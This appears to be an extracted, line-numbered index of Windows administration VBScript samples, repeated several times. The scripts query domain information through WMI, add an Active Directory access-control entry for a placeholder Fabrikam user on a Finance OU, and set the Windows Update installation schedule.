                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1159

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1160

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1161

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1163

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1165

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1166

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1167

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1168

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1169

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1170

                                                                                                                                                      Next

                                                                                                                                                      1176

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1177

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1178

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1179

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1180

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1182

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1183

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1184

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1186

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1188

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1189

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1190

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1191

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1192

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1193

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1194

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1195

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1197

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1199

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1200

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1208

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1210

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1211

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1214

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1217

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1218

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1219

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1220

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1221

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1222

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1223

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1224

                                                                                                                                                      Next

                                                                                                                                                      1228

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1229

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1231

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1232

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1234

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1241

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1243

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1244

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1247

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1249

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1250

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1251

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1252

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1253

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1254

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1256

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1258

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1259

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1260

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1261

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1262

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1263

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1264

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1265

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1266

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1268

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1270

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1271

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1272

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1273

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1274

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1275

                                                                                                                                                      Next

                                                                                                                                                      1282

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1283

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1284

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1285

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1286

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1288

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1289

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1290

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1292

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1294

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1295

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1296

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1297

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1298

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1299

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1300

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1301

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1303

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1305

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1306

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1314

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1316

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1317

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1320

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1323

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1324

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1325

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1326

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1327

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1328

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1329

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1330

                                                                                                                                                      Next

                                                                                                                                                      1334

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1335

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1337

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1338

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1340

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1347

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1349

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1350

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1353

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1355

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1356

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1357

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1358

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1359

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1360

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1362

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1364

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1365

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1366

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1367

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1368

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1369

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1370

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1371

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1372

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1374

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1376

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1377

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1378

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1379

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1380

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1381

                                                                                                                                                      Next

                                                                                                                                                      1387

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1388

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1389

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1390

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1391

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1393

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1394

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1395

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1397

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1399

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1400

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1401

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1402

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1403

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1404

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1405

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1406

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1408

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1410

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1411

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1419

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1421

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1422

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1425

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1428

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1429

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1430

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1431

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1432

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1433

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1434

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1435

                                                                                                                                                      Next

                                                                                                                                                      1439

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1440

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1442

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1443

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1445

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1452

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1454

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1455

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1458

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1460

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1461

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1462

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1463

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1464

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1465

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1467

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1469

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1470

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1471

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1472

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1473

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1474

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1475

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1476

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1477

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1479

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1481

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1482

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1483

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1484

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1485

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1486

